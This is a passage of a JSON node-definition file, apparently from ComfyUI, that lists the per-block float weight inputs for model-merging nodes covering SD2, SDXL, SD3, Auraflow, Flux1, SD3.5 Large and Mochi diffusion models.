["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD2", "display_name": "ModelMergeSD2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSDXL": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0", "input_blocks.1", "input_blocks.2", "input_blocks.3", "input_blocks.4", "input_blocks.5", "input_blocks.6", "input_blocks.7", "input_blocks.8", "middle_block.0", "middle_block.1", "middle_block.2", "output_blocks.0", "output_blocks.1", "output_blocks.2", "output_blocks.3", "output_blocks.4", "output_blocks.5", "output_blocks.6", "output_blocks.7", "output_blocks.8", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSDXL", "display_name": "ModelMergeSDXL", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD3_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD3_2B", "display_name": "ModelMergeSD3_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAuraflow": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "init_x_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "positional_encoding": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "cond_seq_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "register_tokens": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "modF.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "init_x_linear.", "positional_encoding", "cond_seq_linear.", "register_tokens", "t_embedder.", "double_layers.0.", "double_layers.1.", "double_layers.2.", "double_layers.3.", "single_layers.0.", "single_layers.1.", "single_layers.2.", "single_layers.3.", "single_layers.4.", "single_layers.5.", "single_layers.6.", "single_layers.7.", "single_layers.8.", "single_layers.9.", "single_layers.10.", "single_layers.11.", "single_layers.12.", "single_layers.13.", "single_layers.14.", "single_layers.15.", "single_layers.16.", "single_layers.17.", "single_layers.18.", "single_layers.19.", "single_layers.20.", "single_layers.21.", "single_layers.22.", "single_layers.23.", "single_layers.24.", "single_layers.25.", "single_layers.26.", "single_layers.27.", "single_layers.28.", "single_layers.29.", "single_layers.30.", "single_layers.31.", "modF.", "final_linear."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeAuraflow", "display_name": "ModelMergeAuraflow", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeFlux1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "guidance_in": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "vector_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "img_in.", "time_in.", "guidance_in", "vector_in.", "txt_in.", "double_blocks.0.", "double_blocks.1.", "double_blocks.2.", "double_blocks.3.", "double_blocks.4.", "double_blocks.5.", "double_blocks.6.", "double_blocks.7.", "double_blocks.8.", "double_blocks.9.", "double_blocks.10.", "double_blocks.11.", "double_blocks.12.", "double_blocks.13.", "double_blocks.14.", "double_blocks.15.", "double_blocks.16.", "double_blocks.17.", "double_blocks.18.", "single_blocks.0.", "single_blocks.1.", "single_blocks.2.", "single_blocks.3.", "single_blocks.4.", "single_blocks.5.", "single_blocks.6.", "single_blocks.7.", "single_blocks.8.", "single_blocks.9.", "single_blocks.10.", "single_blocks.11.", "single_blocks.12.", "single_blocks.13.", "single_blocks.14.", "single_blocks.15.", "single_blocks.16.", "single_blocks.17.", "single_blocks.18.", "single_blocks.19.", "single_blocks.20.", "single_blocks.21.", "single_blocks.22.", "single_blocks.23.", "single_blocks.24.", "single_blocks.25.", "single_blocks.26.", "single_blocks.27.", "single_blocks.28.", "single_blocks.29.", "single_blocks.30.", "single_blocks.31.", "single_blocks.32.", "single_blocks.33.", "single_blocks.34.", "single_blocks.35.", "single_blocks.36.", "single_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeFlux1", "display_name": "ModelMergeFlux1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD35_Large": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "joint_blocks.24.", "joint_blocks.25.", "joint_blocks.26.", "joint_blocks.27.", "joint_blocks.28.", "joint_blocks.29.", "joint_blocks.30.", "joint_blocks.31.", "joint_blocks.32.", "joint_blocks.33.", "joint_blocks.34.", "joint_blocks.35.", "joint_blocks.36.", "joint_blocks.37.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD35_Large", "display_name": "ModelMergeSD35_Large", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeMochiPreview": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_frequencies.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t5_yproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 